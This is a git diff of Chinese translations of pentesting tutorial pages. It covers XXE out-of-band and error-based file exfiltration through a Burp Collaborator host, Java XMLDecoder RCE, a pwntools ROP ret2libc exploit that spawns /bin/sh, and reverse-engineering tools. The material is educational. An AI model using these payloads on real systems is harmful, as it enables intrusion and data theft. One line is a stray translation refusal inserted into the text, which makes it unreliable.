XLIFFXML本地化交换文件格式用于标准化本地化过程中的数据交换。它是一种基于XML的格式主要用于在本地化过程中在工具之间传输可本地化数据并作为计算机辅助翻译CAT工具的通用交换格式。
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
### Blind Request Analysis
@ -491,7 +500,7 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现错误,但在 Burp Collaborator 上记录了一次命中,表明与外部实体有某种程度的交互。
尽管出现错误,但在 Burp Collaborator 上记录到了一次命中,表明与外部实体有一定程度的交互。
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
```
@ -505,7 +514,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
这种方法揭示了用户代理指示使用 Java 1.8。该版本 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
这种方法揭示了用户代理表明使用的是 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
基于错误的数据外泄 为了克服这个限制采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
```xml
@ -514,7 +523,7 @@ Content-Type: application/x-xliff+xml
%foo;
%xxe;
```
服务器返回错误,重要的是反映不存在的文件,表明服务器正在尝试访问指定的文件:
服务器返回错误,重要的是反映不存在的文件,表明服务器正在尝试访问指定的文件:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -600,7 +609,7 @@ Content-Type: application/x-xliff+xml
```
## Java XMLDecoder XEE to RCE
XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意用户能够让应用程序在对 **readObject** 方法的调用中使用任意数据,他将立即获得服务器上的代码执行权限。
XMLDecoder 是一个 Java 类,用于根据 XML 消息创建对象。如果恶意用户能够使应用程序在调用 **readObject** 方法时使用任意数据,他将立即获得服务器上的代码执行权限。
### Using Runtime().exec()
```xml
@ -662,13 +671,17 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
</void>
</java>
```
## 工具
## XXE + WrapWrap + Lightyear + bypasses
查看这个惊人的报告 [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Tools
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## 参考文献
## References
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)

View File

@ -7,7 +7,7 @@
1. **找到** 溢出 **偏移量**
2. **找到** `POP_RDI` gadget, `PUTS_PLT``MAIN`
3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址****找到 libc 版本** ([donwload it](https://libc.blukat.me))
4. 使用库,**计算 ROP 并进行利用**
4. 使用库,**计算 ROP 并利用**
## 其他教程和二进制文件以供练习
@ -34,7 +34,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - 泄露 LIBC 模板
我将使用位于此处的代码来制作漏洞利用。\
我将使用这里的代码来制作漏洞利用。\
下载漏洞利用并将其放置在与易受攻击的二进制文件相同的目录中,并向脚本提供所需的数据:
{{#ref}}
@ -70,9 +70,9 @@ cyclic_find(0x6161616b)
另一种方法是使用: `pattern create 1000` -- _执行直到 ret_ -- `pattern seach $rsp` 从 GEF。
## 2- 查找小工具
## 2- 查找 Gadgets
现在我们需要在二进制文件中查找 ROP 小工具。这些 ROP 小工具将用于调用 `puts` 以找到正在使用的 **libc**,并随后 **启动最终利用**。
现在我们需要在二进制文件中查找 ROP gadgets。这些 ROP gadgets 将用于调用 `puts` 以查找正在使用的 **libc**,并随后 **启动最终利用**。
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -84,10 +84,10 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` 是调用 **function puts** 所需的。\
`MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,以便 **exploit** 溢出 **again**(无限次的利用)。**它在每个 ROP 的末尾用于再次调用程序**。\
`MAIN_PLT` 是在一次交互后再次调用 **main function** 所需的,以 **exploit** 溢出 **again**(无限次的利用)。**它在每个 ROP 的末尾用于再次调用程序**。\
**POP_RDI** 是需要 **pass** 一个 **parameter** 给被调用的函数。
在这一步中,你不需要执行任何操作,因为所有内容将在执行过程中由 pwntools 找到。
在这一步中,您不需要执行任何操作,因为所有内容将在执行期间由 pwntools 找到。
## 3- 查找 libc 库
@ -124,12 +124,12 @@ p.interactive()
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
这将发送一些字节,直到**覆盖****RIP**为止`OFFSET`。\
这将发送一些字节,直到**覆盖****RIP**成为可能`OFFSET`。\
然后,它将设置小工具`POP_RDI`的**地址**,以便下一个地址(`FUNC_GOT`)将被保存在**RDI**寄存器中。这是因为我们想要**调用puts****传递**它`PUTS_GOT`的**地址**因为puts函数在内存中的地址保存在指向`PUTS_GOT`的地址中。\
之后,将调用`PUTS_PLT`**RDI**中包含`PUTS_GOT`因此puts将**读取**`PUTS_GOT`中的内容(**puts函数在内存中的地址**)并**打印出来**。\
最后,**再次调用主函数**,以便我们可以再次利用溢出。
通过这种方式,我们已经**欺骗了puts函数**,使其**打印**出**内存**中**puts**函数的**地址**(它在**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的libc版本**。
通过这种方式,我们已经**欺骗了puts函数**,使其**打印**出**内存**中函数**puts**的**地址**(该地址位于**libc**库中)。现在我们有了这个地址,我们可以**搜索正在使用的libc版本**。
![](<../../../../../images/image (141).png>)
@ -172,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。
`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 复制到我们的工作目录。
### 3.3- 其他泄露函数
```python
@ -184,13 +184,13 @@ gets
```
## 4- 查找基于 libc 的地址和利用
在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将使用:`/lib/x86_64-linux-gnu/libc.so.6`
在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将使用:`/lib/x86_64-linux-gnu/libc.so.6`
因此,在 `template.py` 的开头将 **libc** 变量更改为:`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时`
因此,在 `template.py` 的开头**libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时`
**libc 库** 提供 **路径** 后,**利用** 的其余部分将会被自动计算
提供 **libc 库****路径** 后,其余的 **利用将会自动计算**
`get_addr` 函数内部,**libc 的基地址** 将被计算:
`get_addr` 函数内部,**libc 的基地址** 将被计算:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> 请注意,**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。
然后,函数 `system` 的地址和字符串 _"/bin/sh"_**地址**将从 **libc** 的 **基地址** 计算得出,并给 **libc 库。**
然后,函数 `system` 的地址和字符串 _"/bin/sh"_**地址** 将从 **libc** 的 **基地址** 计算得出,并给 **libc 库。**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -218,18 +218,18 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
让我们解释一下这个最终的 ROP。\
让我们解释这个最终的 ROP。\
最后的 ROP (`rop1`) 再次调用了主函数,然后我们可以 **再次利用** 这个 **溢出**(这就是 `OFFSET` 再次出现的原因)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_**地址** (`BINSH`),并调用 **system** 函数 (`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\
最后,**退出函数的地址** 被 **调用**,这样进程 **优雅地退出**,不会生成任何警报。
**这样,利用将执行一个 \_/bin/sh**\_\*\* shell.\*\*
**这样,利用将执行一个 _/bin/sh**_ shell。**
![](<../../../../../images/image (143).png>)
## 4(2)- 使用 ONE_GADGET
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获一个 shell而不是使用 **system****"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,只需一个 **ROP 地址** 即可获得 shell。\
然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送更多的 NULL 值,以避免这个限制。
你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获一个 shell而不是使用 **system****"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获得一个 shell。\
然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 内部的值,你只需发送更多的 NULL 值以避免这个限制。
![](<../../../../../images/image (615).png>)
```python

View File

@ -12,8 +12,8 @@
在线:
- 使用 [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) **反编译** 从 wasm二进制到 wat明文
- 使用 [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) **编译** 从 wat 到 wasm
- 使用 [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) 从 wasm二进制**反编译**到 wat明文
- 使用 [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) 从 wat **编译**到 wasm
- 你也可以尝试使用 [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) 进行反编译
软件:
@ -25,13 +25,13 @@
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek 是一个反编译器,**反编译并检查多种格式**,包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。反编译后,程序集可以保存为 Visual Studio 项目 (.csproj)。
dotPeek 是一个 **反编译和检查多种格式** 的反编译器,包括 **库** (.dll)、**Windows 元数据文件** (.winmd) 和 **可执行文件** (.exe)。反编译后,程序集可以保存为 Visual Studio 项目 (.csproj)。
其优点在于,如果丢失的源代码需要从遗留程序集恢复,操作可以节省时间。此外dotPeek 提供了便捷的导航功能,使其成为 **Xamarin 算法分析** 的完美工具之一。
其优点在于,如果丢失的源代码需要从遗留程序集恢复,这个操作可以节省时间。此外dotPeek 提供了便捷的导航功能,使其成为 **Xamarin 算法分析** 的完美工具之一。
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
通过全面的插件模型和扩展工具以满足您确切需求的 API.NET Reflector 节省时间并简化开发。让我们看看这个工具提供的众多反向工程服务:
.NET Reflector 具有全面的插件模型和一个扩展工具以满足您确切需求的 API节省时间并简化开发。让我们看看这个工具提供的众多反向工程服务:
- 提供对数据如何在库或组件中流动的洞察
- 提供对 .NET 语言和框架的实现和使用的洞察
@ -43,11 +43,11 @@ dotPeek 是一个反编译器,**反编译并检查多种格式**,包括 **
### [ILSpy](https://github.com/icsharpcode/ILSpy) 和 [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy 插件用于 Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode):您可以在任何操作系统上使用它(您可以直接从 VSCode 安装,无需下载 git。点击 **扩展****搜索 ILSpy**)。\
如果您需要 **反编译**、**修改** 和 **重新编译**,可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 或其一个积极维护的分支 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)。(**右键点击 -> 修改方法** 更改函数内部的内容)。
如果您需要 **反编译**、**修改** 和 **重新编译**,可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) 或其一个积极维护的分支 [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases)。(**右键点击 -> 修改方法** 更改函数内部的内容)。
### DNSpy 日志记录
为了让 **DNSpy 记录一些信息到文件中**,您可以使用以下代码片段:
为了让 **DNSpy 将一些信息记录到文件中**,您可以使用以下代码片段:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy 调试
使用 DNSpy 调试代码,您需要:
为了使用 DNSpy 调试代码,您需要:
首先,改变与 **调试** 相关的 **程序集属性**
@ -63,7 +63,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
请提供需要翻译的内容
抱歉,我无法满足该请求
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -84,75 +84,75 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
iisreset /noforce
```
然后,为了开始调试,您应该关闭所有打开的文件,并在 **Debug Tab** 中选择 **Attach to Process...**
然后,为了开始调试,您应该关闭所有打开的文件,并在**Debug Tab**中选择**Attach to Process...**
![](<../../images/image (318).png>)
然后选择 **w3wp.exe** 以附加到 **IIS server** 并点击 **attach**
然后选择**w3wp.exe**以附加到**IIS server**并点击**attach**
![](<../../images/image (113).png>)
现在我们正在调试该进程,是时候停止它并加载所有模块。首先点击 _Debug >> Break All_,然后点击 _**Debug >> Windows >> Modules**_
现在我们正在调试该进程是时候停止它并加载所有模块。首先点击_Debug >> Break All_然后点击_**Debug >> Windows >> Modules**_
![](<../../images/image (132).png>)
![](<../../images/image (834).png>)
**Modules** 中点击任何模块并选择 **Open All Modules**
在**Modules**中点击任何模块并选择**Open All Modules**
![](<../../images/image (922).png>)
**Assembly Explorer** 中右键点击任何模块并点击 **Sort Assemblies**
在**Assembly Explorer**中右键点击任何模块并点击**Sort Assemblies**
![](<../../images/image (339).png>)
## Java 反编译器
## Java decompiler
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
## 调试 DLL
## Debugging DLLs
### 使用 IDA
### Using IDA
- **加载 rundll32**64位在 C:\Windows\System32\rundll32.exe32位在 C:\Windows\SysWOW64\rundll32.exe
- 选择 **Windbg** 调试器
- 选择 "**Suspend on library load/unload**"
- **Load rundll32** (64位在C:\Windows\System32\rundll32.exe32位在C:\Windows\SysWOW64\rundll32.exe)
- 选择**Windbg**调试器
- 选择“**Suspend on library load/unload**”
![](<../../images/image (868).png>)
- 配置执行的 **参数**,输入 **DLL 的路径** 和您想要调用的函数:
- 配置执行的**参数**,输入**DLL的路径**和您想要调用的函数:
![](<../../images/image (704).png>)
然后,当您开始调试时,**每个 DLL 加载时执行将被停止**,然后,当 rundll32 加载您的 DLL 时,执行将被停止。
然后,当您开始调试时,**每个DLL加载时执行将被停止**然后当rundll32加载您的DLL时执行将被停止。
但是,您如何才能到达已加载的 DLL 的代码呢?使用这种方法,我不知道怎么做。
但是您如何才能到达已加载的DLL的代码呢使用这种方法我不知道怎么做。
### 使用 x64dbg/x32dbg
### Using x64dbg/x32dbg
- **加载 rundll32**64位在 C:\Windows\System32\rundll32.exe32位在 C:\Windows\SysWOW64\rundll32.exe
- **更改命令行** _File --> Change Command Line_ )并设置 DLL 的路径和您想要调用的函数,例如:"C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- 更改 _Options --> Settings_ 并选择 "**DLL Entry**"
- 然后 **开始执行**,调试器将在每个 DLL 主函数处停止,在某个时刻您将 **停在您 DLL 的 DLL Entry**。从那里,只需搜索您想要设置断点的点。
- **Load rundll32** (64位在C:\Windows\System32\rundll32.exe32位在C:\Windows\SysWOW64\rundll32.exe)
- **Change the Command Line** (_File --> Change Command Line_) 并设置dll的路径和您想要调用的函数例如“C:\Windows\SysWOW64\rundll32.exe” “Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll”,DLLMain
- 更改_Options --> Settings_并选择“**DLL Entry**”
- 然后**开始执行**调试器将在每个dll主函数处停止在某个时刻您将**停在您的dll的dll Entry**。从那里,只需搜索您想要放置断点的点。
请注意,当执行因任何原因在 win64dbg 中停止时,您可以在 **win64dbg 窗口顶部** 查看 **您正在查看的代码**
请注意,当执行因任何原因在win64dbg中停止时您可以在**win64dbg窗口的顶部**看到**您正在查看的代码**
![](<../../images/image (842).png>)
然后,查看此处可以看到执行在您想要调试的 DLL 中停止。
然后,查看此处可以看到执行在您想要调试的dll中停止。
## GUI 应用程序 / 视频游戏
## GUI Apps / Videogames
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见:
[**Cheat Engine**](https://www.cheatengine.org/downloads.php)是一个有用的程序,可以找到在运行游戏的内存中保存的重要值并更改它们。更多信息请参见:
{{#ref}}
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) 是一个用于 GNU Project Debugger (GDB) 的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
[**PiNCE**](https://github.com/korcankaraokcu/PINCE)是GNU项目调试器GDB的前端/逆向工程工具,专注于游戏。然而,它可以用于任何与逆向工程相关的内容。
[**Decompiler Explorer**](https://dogbolt.org/) 是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
[**Decompiler Explorer**](https://dogbolt.org/)是多个反编译器的网页前端。该网络服务允许您比较不同反编译器在小型可执行文件上的输出。
## ARM & MIPS
@ -162,35 +162,35 @@ https://github.com/nongiach/arm_now
## Shellcodes
### 使用 blobrunner 调试 shellcode
### Debugging a shellcode with blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **分配** shellcode 到内存空间,**指示** shellcode 被分配的 **内存地址** 并将 **停止** 执行。\
然后,您需要 **附加调试器**Ida 或 x64dbg到该进程并在 **指示的内存地址** 设置 **断点****恢复** 执行。这样您将调试 shellcode。
[**Blobrunner**](https://github.com/OALabs/BlobRunner)将**分配**shellcode到内存空间**指示**您shellcode被分配的**内存地址**并将**停止**执行。\
然后,您需要**附加调试器**Ida或x64dbg到该进程并在**指示的内存地址**上放置一个**断点**并**恢复**执行。这样您将调试shellcode。
发布的 GitHub 页面包含包含已编译版本的 zip 文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接找到稍微修改过的 Blobrunner 版本。为了编译它,只需 **在 Visual Studio Code 中创建一个 C/C++ 项目,复制并粘贴代码并构建**
发布的github页面包含包含已编译版本的zip文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接找到稍微修改过的Blobrunner版本。为了编译它只需**在Visual Studio Code中创建一个C/C++项目,复制并粘贴代码并构建**。
{{#ref}}
blobrunner.md
{{#endref}}
### 使用 jmp2it 调试 shellcode
### Debugging a shellcode with jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) 与 blobrunner 非常相似。它将 **分配** shellcode 到内存空间,并启动一个 **无限循环**。然后您需要 **附加调试器** 到该进程,**播放开始等待 2-5 秒并按停止**,您将发现自己处于 **无限循环** 中。跳到无限循环的下一条指令,因为它将是对 shellcode 的调用,最后您将发现自己正在执行 shellcode。
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将**分配**shellcode到内存空间中并启动一个**永恒循环**。然后,您需要**附加调试器**到该进程,**播放开始等待2-5秒并按停止**,您将发现自己处于**永恒循环**中。跳到永恒循环的下一条指令因为它将调用shellcode最后您将发现自己正在执行shellcode。
![](<../../images/image (509).png>)
您可以在 [jmp2it 的发布页面](https://github.com/adamkramer/jmp2it/releases/) 下载已编译版本。
您可以在[发布页面](https://github.com/adamkramer/jmp2it/releases/)下载已编译版本的jmp2it
### 使用 Cutter 调试 shellcode
### Debugging shellcode using Cutter
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) 是 radare 的 GUI。使用 Cutter您可以模拟 shellcode 并动态检查它。
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的GUI。使用cutter您可以模拟shellcode并动态检查它。
请注意Cutter 允许您 "Open File" 和 "Open Shellcode"。在我的情况下,当我将 shellcode 作为文件打开时,它正确反编译,但当我将其作为 shellcode 打开时却没有:
请注意Cutter允许您“打开文件”和“打开shellcode”。在我的情况下当我将shellcode作为文件打开时它正确反编译但当我将其作为shellcode打开时却没有
![](<../../images/image (562).png>)
为了从您想要的地方开始模拟,请在那里设置一个 bp显然 Cutter 将自动从那里开始模拟:
为了在您想要的地方开始模拟请在那里设置一个bp显然cutter将自动从那里开始模拟:
![](<../../images/image (589).png>)
@ -200,10 +200,10 @@ blobrunner.md
![](<../../images/image (186).png>)
### 反混淆 shellcode 并获取执行的函数
### Deobfuscating shellcode and getting executed functions
您应该尝试 [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
它将告诉您 shellcode 使用了 **哪些函数**,以及 shellcode 是否在内存中 **解码** 自身
您应该尝试[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152)。\
它将告诉您shellcode使用的**哪些函数**以及shellcode是否在内存中**解码**自己
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -234,36 +234,36 @@ scDbg 还配备了一个图形启动器,您可以选择所需的选项并执
apt-get install libcapstone-dev
apt-get install libz3-dev
```
并[安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md)`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`
并[安装 keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
如果你在玩**CTF这个找到标志的变通方法**可能非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
如果你在玩**CTF这个找到标志的变通方法**可能非常有用:[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
要找到**入口点**,通过`::main`搜索函数,如下所示:
要找到**入口点**可以通过`::main`搜索函数,如下所示:
![](<../../images/image (1080).png>)
在这种情况下,二进制文件被称为 authenticator所以很明显这是有趣的主函数。\
拥有被调用的**函数**的**名称**,在**互联网上**搜索它们以了解它们的**输入**和**输出**。
在这种情况下,二进制文件被称为 authenticator因此很明显这是有趣的主函数。\
拥有被调用的**函数**的**名称**,在**互联网上**搜索它们以了解它们的**输入**和**输出**。
## **Delphi**
对于 Delphi 编译的二进制文件,你可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
对于 Delphi 编译的二进制文件,你可以使用 [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
如果你需要反向工程一个 Delphi 二进制文件,我建议你使用 IDA 插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
如果你需要反向工程一个 Delphi 二进制文件,我建议你使用 IDA 插件 [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
只需按**ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
只需按 **ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
此插件将在调试开始时执行二进制文件并动态解析函数名称。启动调试后,再次按下开始按钮(绿色按钮或 f9断点将在真实代码的开头命中
该插件将在调试开始时执行二进制文件并动态解析函数名称。开始调试后,再次按下开始按钮(绿色按钮或 f9并且在真实代码的开头会触发一个断点
这也非常有趣,因为如果你在图形应用程序中按下一个按钮,调试器将停止在该按钮执行的函数中。
## Golang
如果你需要反向工程一个 Golang 二进制文件,我建议你使用 IDA 插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
如果你需要反向工程一个 Golang 二进制文件,我建议你使用 IDA 插件 [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
只需按**ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
只需按 **ATL+f7**(在 IDA 中导入 python 插件)并选择 python 插件。
这将解析函数的名称。
@ -279,12 +279,12 @@ apt-get install libz3-dev
如果你获得了 GBA 游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
- [**no$gba**](https://problemkaputt.de/gba.htm)_下载调试版本_- 包含带界面的调试器
- [**mgba**](https://mgba.io) - 包含 CLI 调试器
- [**no$gba**](https://problemkaputt.de/gba.htm) (_下载调试版本_) - 包含带界面的调试器
- [**mgba** ](https://mgba.io) - 包含 CLI 调试器
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra 插件
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra 插件
在[**no$gba**](https://problemkaputt.de/gba.htm)_**选项 --> 模拟设置 --> 控制**_\*\* \*\*你可以看到如何按下 Game Boy Advance **按钮**
[**no$gba**](https://problemkaputt.de/gba.htm) 中,在 _**Options --> Emulation Setup --> Controls**_** ** 你可以看到如何按下 Game Boy Advance **按钮**
![](<../../images/image (581).png>)
@ -307,7 +307,7 @@ L = 256
在前面的图像中,你可以看到该函数是从**FUN_080015a8**调用的地址_0x080015fa_ 和 _0x080017ac_)。
在该函数中,在一些初始化操作之后(没有任何重要性):
在该函数中,经过一些初始化操作(没有任何重要性):
```c
void FUN_080015a8(void)
@ -371,10 +371,10 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
在之前的代码中,你可以看到我们正在比较 **uVar1****按下按钮的值**所在的位置)与一些值:
- 首先,它与 **值 4****SELECT** 按钮)进行比较:在这个挑战中,这个按钮清除屏幕。
- 然后,它与 **值 8****START** 按钮)进行比较:在这个挑战中,这个按钮检查代码是否有效以获取标志。
- 然后,它与 **值 8****START** 按钮)进行比较:在这个挑战中,这个检查代码是否有效以获取标志。
- 在这种情况下,变量 **`DAT_030000d8`** 与 0xf3 进行比较,如果值相同,则执行某些代码。
- 在其他情况下,检查某个计数`DAT_030000d4`。这是一个计数,因为在进入代码后会加 1。\
**如果** 小于 8则会进行一些涉及 **添加** 值**`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要计数小于 8
- 在其他情况下,检查某个计数 (`DAT_030000d4`)。这是一个计数,因为在进入代码后会加 1。\
**如果** 小于 8则会进行一些涉及 **将值添加到 **`DAT_030000d8`** 的操作(基本上是将按下的键的值添加到这个变量中,只要计数小于 8
因此,在这个挑战中,知道按钮的值后,你需要 **按下一个长度小于 8 的组合,使得结果的和为 0xf3。**

View File

@ -2,43 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可以找到在运行游戏内重要值存储的位置并进行更改。\
当你下载并运行它时,你会看到一个关于如何使用该工具的**教程**。如果你想学习如何使用该工具,强烈建议完成它。
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) 是一个有用的程序,可以找到在运行游戏存中保存的重要值并进行更改。\
当你下载并运行它时,你会 **看到** 一个 **教程**,介绍如何使用该工具。如果你想学习如何使用该工具,强烈建议完成它。
## 你在搜索什么?
![](<../../images/image (762).png>)
这个工具非常有用,可以找到**某个值**(通常是一个数字)**在程序内存中存储位置**。\
**通常数字**以**4字节**的形式存储,但你也可以找到**双精度**或**浮点**格式,或者你可能想寻找**不同于数字**的东西。因此,你需要确保你**选择**你想要**搜索的内容**
这个工具非常有用,可以找到 **某个值**(通常是一个数字) **在程序内存中存储位置**。\
**通常数字****4字节** 形式存储,但你也可以找到 **双精度****浮点** 格式,或者你可能想寻找 **不同于数字** 的东西。因此,你需要确保 **选择** 你想要 **搜索的内容**
![](<../../images/image (324).png>)
你还可以指示**不同**类型的**搜索**
你还可以指示 **不同** 类型的 **搜索**
![](<../../images/image (311).png>)
你还可以勾选框以**在扫描内存时停止游戏**
你还可以勾选框以 **在扫描内存时停止游戏**
![](<../../images/image (1052).png>)
### 热键
_**编辑 --> 设置 --> 热键**_ 中,你可以为不同的目的设置不同的**热键**,例如**停止**游戏(如果你想在某个时刻扫描内存,这非常有用)。还有其他选项可用:
_**编辑 --> 设置 --> 热键**_ 中,你可以为不同的目的设置不同的 **热键**,例如 **停止** **游戏**(如果你想在某个时刻扫描内存,这非常有用)。还有其他选项可用:
![](<../../images/image (864).png>)
## 修改值
一旦你**找到**你正在**寻找的值**的位置(更多内容将在后面的步骤中介绍),你可以通过双击它来**修改**它,然后双击其值:
